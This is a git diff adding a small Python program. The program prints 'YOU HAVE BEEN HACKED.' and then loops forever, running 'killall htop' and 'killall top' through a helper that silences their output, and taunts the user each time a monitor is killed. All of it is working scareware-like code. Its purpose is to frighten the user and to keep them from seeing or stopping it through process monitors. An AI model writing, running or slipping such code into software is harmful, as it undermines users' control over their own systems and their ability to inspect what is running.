diff --git a/command_helper.py b/command_helper.py new file mode 100644 index 0000000..92f1b7d --- /dev/null +++ b/command_helper.py @@ -0,0 +1,9 @@ +import os +import subprocess + + +class CommandHelper: + @staticmethod + def run(cmd): + with open(os.devnull, 'wb') as devnull: + return subprocess.call(cmd.split(' '), stdout=devnull, stderr=subprocess.STDOUT) diff --git a/main.py b/main.py index 2890d6e..ec48913 100755 --- a/main.py +++ b/main.py @@ -1,8 +1,16 @@ #!/usr/bin/env python3 +import os +import time + from term_utils import TermUtils from detect_term import DetectTerm -import time +from command_helper import CommandHelper print(DetectTerm.find_terminal()) time.sleep(1) -TermUtils.print("YOU HAVE BEEN HACKED.\n") \ No newline at end of file +TermUtils.print("YOU HAVE BEEN HACKED.\n") + +while True: + if CommandHelper.run("killall htop") == 0 or CommandHelper.run("killall top") == 0: + TermUtils.print("You tough that this will be as easy as this?\n") + time.sleep(1)